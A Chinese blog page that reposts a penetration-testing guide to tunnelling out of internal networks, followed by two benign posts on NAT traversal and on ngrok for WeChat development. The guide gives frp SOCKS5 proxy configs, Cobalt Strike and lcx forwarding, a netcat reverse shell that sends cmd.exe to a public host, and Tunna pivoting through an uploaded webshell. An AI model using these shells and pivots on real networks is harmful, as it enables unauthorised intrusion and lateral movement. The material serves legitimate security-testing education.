Total Pageviews

Sunday, 19 April 2020

内网渗透测试,快速穿透内网指南

0x01 说明

内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。内网穿透分了N种,这里我们只介绍快速简单高效的穿透工具,并且简单说明下穿透工具的使用方法,给各位师傅可补充建议。

0x02 FRP穿透

说明

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp分客户端和服务端,服务器只开放端口让别人客户端连接进来并且提供穿透的协议.

使用方法

frp分 frps和frpc,frps是服务端必须放在有公网的机器上frpc是客户端运行在被控制端上面。
frps.exe 对应的 配置文件是frps.ini
frpc.exe 对应的 配置文件是frpc.ini
具体参照官方解释说明:
[https://github.com/fatedier/frp/blob/master/README_zh.md
](https://github.com/fatedier/frp/blob/master/README_zh.md)

转发socks5

一下是我的客户端配置文件,测试可用。
服务端配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
bind_udp_port = 7001
token = mytokenpasswrod
max_pool_count = 50

# 一下是选择配置
# Dashboard通过浏览器查看 frp 的状态以及代理统计信息展示。
dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = Funk
dashboard_pwd = Funk123
#日志记录
#log_file = ./frps.log
#log_level = info
#log_max_days = 1
客户端配置:
[common]
server_addr = 你的服务端IP
server_port = 7000
tls_enable = true # true 开启 TLS 协议加密传输 启用此功能后除 xtcp 外,不需要再设置 use_encryption。
pool_count = 40
token = mytokenpasswrod
[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = allsec
plugin_passwd = mysockspassword
# use_encryption = true  # 开启加密功能绕过防火墙
use_compression = true # 开启压塑功能 压缩算法使用 snappy

# Admin UI 可以帮助用户通过浏览器来查询和管理客户端的 proxy 状态和配置。
# admin_addr = 0.0.0.0
# admin_port = 7400
# admin_user = admin
# admin_pwd = admin

0x02 Ngrok 穿透

说明

ngrok目前支持自建的开源版本是1.x版,这个版本的话怎么说呢,除了有内存、文件描述符泄漏的蛋疼BUG外(作者是这么说的),其实还是能用的,作者自己又搞了个2.x版本,不过不开源而是在自己的ngrok.com上用,不过么……这个貌似在国内访问貌似有问题来着,所以么,要么用公开的ngrok服务器,要么就是自己搭。本次我们介绍的就是自己搭(1.x版)比较蛋疼,不过这有好处也有坏处,好处就是可用付费采用其他人的ngrok服务器,坏处就是搭建一次太费劲了,让你怀疑人生。。。。。。

安装配置

因为ngrok也是用Go写的,所以需要安装Go,这里是为了稳妥配置了环境变量,你也可以试试直接通过yum来安装,我懒得试了
yum groupinstall "Development tools" -y
 
wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
tar xzf go1.8.3.linux-amd64.tar.gz -C /usr/local
mkdir /usr/local/gopackage
 
vi /etc/profile
#在profile中加入下面的环境变量,PATH如果原来就有请自行合并
GOROOT=/usr/local/go
GOPATH=/usr/local/gopackage
PATH=$PATH:$GOROOT/bin:$GOPATH/bin
export GOROOT GOPATH PATH
 
source /etc/profile
 
git clone https://github.com/inconshreveable/ngrok.git ngrok
cd ngrok
 
#然后我们生成下新的证书替换默认的,最后的cp选y来覆盖
NGROK_DOMAIN="ngrok.miku.one"
 
openssl genrsa -out base.key 2048
openssl req -new -x509 -nodes -key base.key -days 10000 -subj "/CN=$NGROK_DOMAIN" -out base.pem
openssl genrsa -out server.key 2048
openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr
openssl x509 -req -in server.csr -CA base.pem -CAkey base.key -CAcreateserial -days 10000 -out server.crt
 
cp base.pem assets/client/tls/ngrokroot.crt
 
make release-server release-client
OK,如果没有报错的话你会在bin目录下看到服务端和客户端的可执行文件了,还有个go-bindata不知道有啥用,别管它了
./bin/ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="ngrok.miku.one" -httpAddr=":8081" -httpsAddr=":8082" -tunnelAddr=":4443"
这样就把服务端跑起来了
好了,之前生成了Linux下的客户端,很多情况下我们用的是Windows或者macOS,这就需要我们编译其它平台的客户端了
#编译Mac的客户端
GOOS=darwin GOARCH=amd64 make release-client
 
#编译Windows的客户端
GOOS=windows GOARCH=amd64 make release-client
在bin下会多出文件夹,里面就是你的客户端了,这样我们就能继续了
这俩是ngrok的客户端,一个是c写的,一个是Python写的,适用于特定环境(比如路由器这种存储空间很小,尽量节省资源啥的)
https://github.com/dosgo/ngrok-c
https://github.com/hauntek/python-ngrok
总体来说做渗透测试不推荐使用。。等你吧服务都装完了别人都日完了。。。。

0x03 Cobalt Strike

CobaltStrike是一款快速内网横向移动的工具,当然也提供内网穿透的效果。
也是非常简单一条命令开启。可惜是SOCKS4代理。
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server

0x04 杂项各种穿透

摘取网上的!

LCX

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,

lcx有两大功能:
1)端口转发(listen和slave成对使用)
2)端口映射(tran)
内网端口转发:
服务端:
lcx.exe –listen 4444 5555
客户端:
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389

nc 反弹

nc使用方法:

反向连接
在公网主机上进行监听:
服务器端:
nc -lvp 4444
客户端:
nc -t -e cmd.exe 公网主机ip 4444

reGeorg

使用方法(详见github):

Tunna

使用方法(详见github):
该工具使用的先决条件:
能够在远程服务器上上传webshell
使用方法:
python proxy.py -u -l [options]
options:
--help, -h 显示此帮助信息并退出

--url=URL, -u URL 为远程webshel​​l的URL

--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口

--verbose, -v 详细(输出数据包大小)

--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
No SOCKS Options:
如果使用SOCKS代理,选项将被忽略
--no-socks, -n 不使用 Socks 代理

--rport=REMOTE_PORT, -r    REMOTE_PORT远程服务端口,供webshel​​l连接

--addr=REMOTE_IP, -a REMOTE_IP 远程webshel​​l连接到的地址(默认为 127.0.0.1)
上游代理选项:
通过本地代理进行隧道连接
--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)

--auth, -A 上游代理需要认证
高级选项:
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)

--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)

--cookie, -C 请求cookies

--authentication, -t 基本认证
使用方法示例:
内网主机为Windows:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v

0x05 总结

目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,一般推荐frp穿透和cs穿透,不过cs穿透无法加密,可能会被某些防火墙识别流量,使用Tunna的话又不稳定,一般是只有shell的环境或者是权限比较极端的时候才会选用,不过Tunna也有弊端。

参考链接:
https://www.freebuf.com/articles/web/170970.html
https://github.com/sensepost/reGeorg
https://github.com/SECFORCE/Tunna
https://github.com/inconshreveable/ngrok/releases
https://github.com/fatedier/frp
----------------------------

公网IP vs 内网穿透

没有公网IP的环境下出现许多不必要的麻烦。当然这对一个技术从业者并不是什么难事,早在去年就开发了「御花园」这个项目来做内网穿透,这不又用上了。顺便好好来聊聊这个话题。
研发「御花园」的最初目的是因为家里添置了一台Windows Server,当做NAS使用,需要RDP远程控制,带宽要求较高,折腾过各种开源的方案,均不太理想,主要有以下方案。
Ngorkhttps://ngrok.com/ ):官方中转服务器在国外,慢就不说了,国内很多收费的节点,服务能力各有千秋。其早期版本已经开源出来,可以自己搭建,采用Go语言编写,端口配置依赖客户端配置,仅有简单的权限控制,长期使用并不太方便,也不太安全。
FRPhttps://github.com/fatedier/frp ):和Ngork类似,也是需要服务器中转,提供的配置更为丰富,不过官方一直声明不建议用在生产环境,便没有过多的研究,支持Unix 套接字和DNS转发,实验性的点对点内网穿透,甚至还能搭建成一个https服务来转发非https流量,也算是一大特色。
ZeroTierhttps://www.zerotier.com/ ):和上述基于传输层协议不同,这个是工作在二层协议,可以提供多个设备组建虚拟局域网进行互通,大部分配置在官网后台操作,设备上只需要安装一个客户端,Join一个网络,激活即可,相当方便。可以自建卫星节点来加速。虚拟LAN兼容性较好,但网络不理想的情况下,上层不容易感知。
花生壳https://hsk.oray.com/ ):作为Oray旗下的老牌服务,从最初的DDNS转型到内网穿透,可以说是很顽强了,免费用户有1M的带宽,一个端口可用。他们家的Windows客户端还是做的比较稳定。
工慾善其事,必先利其器,综上所述,一个工具好用,清晰便捷的图形化操作必不可少,客户端则尽可能的透明,稳定。出于职业特性,对于TCP传输层的操作,Java Netty性能毋庸置疑,且任何需求只要有一个人需要,就有成千上万人需要。「御花园」便孕育而生( https://ifport.com/ ),参考了众多的开源实现,封装了一个私有IPF报文,SSL加密数据,同时写了一个管理后台,方便的自行注册/添加/删除接入设备和端口映射,端口随机自动分配,客户端实时刷新生效,完全无须人工介入。在19款macbook pro上部署,采用iperf3测试local转发能力在1.6Gb/s 左右,受制cpu/内存限制,成绩应该还能更高。
公网IP之争,在19年下半年开始,国家大力推广IPv6,似乎IPv4也没那么紧缺,运营商打打电话,工信部走一波,基本也能得到,还是v4,v6双公网(顺便升级了博客v6支持),路由器绑定DDNS,远程控制更加便捷,内网穿透似乎没有必要了。
随着生活的变迁,环境的变化,常在租住地,咖啡馆WiFi,新家4G之间的来回切换,公网IP并非万能,抗网络波动更是重要,众所周知的原因,运营商PPPoE存在强制断线的坑,DDNS生效有一定的延迟。「御花园」又有了用武之地 ,同一个端口,穿越任意网络,短周期心跳检测、重连,抗网络波动极为灵活,客户端几乎无感知,不得不说还是自研的用着顺手,但迫于带宽和成本压力,也没计划推广。
「御花园」和「即刻大陆」并非什么高深的技术,不过是在这个特定时期能让你看的更远。
------------------------------------

ngrok 微信接口开发利器

  由于开发微信公众号项目,经常需要将本地部署的接口让外网能直接调用到,偶然发现还有个叫ngrok的神器专门做了这件事,不但提供了一个在外网能够安全的访问内网Web主机,还能捕获所有请求的http内容,方便调试,甚至还支持tcp层端口映射。支持Mac OS X,Linux,Windows平台。
1. ngrok下载运行
  体积很小,官网下载后直接解压得到一个二进制文件,在shell中执行./ngrok 80即可,默认会分配随机的二级域名来访问,转发到本机的80端口。可以通过-help参数来查看详细的说明,运行后如下提示:
Tunnel Status                 online
Version                       1.6/1.5
Forwarding                    http://steven-mbp.ngrok.com -> 127.0.0.1:8080
Forwarding                    https://steven-mbp.ngrok.com -> 127.0.0.1:8080
Web Interface                 127.0.0.1:4040
# Conn                        16
Avg Conn Time                 558ms
我这里是使用了自定义二级域名,意味着访问http://steven-mbp.ngrok.com就如同访问内网的http://127.0.0.1:8080,很方便吧。通过ngrok提供的管理界面(127.0.0.1:4040)可以清楚的看到当前有哪些连接,以及请求的url,可以进行replay。
2. ngrok常用示例
1. 采用自定义二级域名steven-mbp.ngrok.com转发到本机的8080端口。
./ngrok -subdomain steven-mbp 8080
2. tcp端口转发,当然外网端口是随机分配的。
./ngrok -proto=tcp 22
3. 转发到局域网其他的机器
./ngrok 192.168.0.1:80
4. 绑定顶级域名(付费才可用),在dashboard中添加域名,将域名cname解析到ngrok.com即可。
./ngrok -hostname test.mydomain.com 8080
3. ngrok配置文件
  ngrok可以将参数写到文件中,默认是放在~/.ngrok。例如:
tunnels:
  client:
    auth: "user:password"
    proto:
      https: 8080
  ssh:
    proto:
      tcp: 22
  test.mydomain.com
    proto:
      http: 9090
这里定义了三个隧道,client表示转发http到本机8080,同时要求验证,ssh表示支持远程访问,第三个是绑定了域名转发到9090。这时候只需要一个./ngrok start client ssh test.mydomain.com即可快速启动这三个隧道服务。
  每一个隧道的配置节点都有五个参数,proto,subdomain,auth,hostname和remote_port,每个隧道必须有proto参数来指定本地地址和端口。auth参数用于在http(s)中身份认证,而remote_port用于在tcp隧道中指定远程服务器端口。如果没有配置subdomain参数,ngrok会默认一个二级域名与隧道节点一样的名字。
4. 配置文件中的其他参数
authtoken: abc123
inspect_addr: "0.0.0.0:8888"
tunnels:
  ...
authtoken用于设置登录ngrok的授权码,可以在ngrok首页的dashboard中查看到。inspect_addr用于设置监听ip,比如设置为0.0.0.0:8080意味着监听本机所有ip的8080端口上。ngrok也支持自己架设ngrokd服务器,在配置中通过server_addr: “mydomain.com:8081″来指定自己搭建的服务器地址。设置trust_host_root_certs: true来支持TLS加密协议的证书信任。
  官网:https://ngrok.com/
  介于ngrok的局限性和高度依赖,我用Java重新写了一个转发项目:御花园(https://ifport.com/),欢迎注册使用,目前免费提供,后续资源不足会考虑收费方案。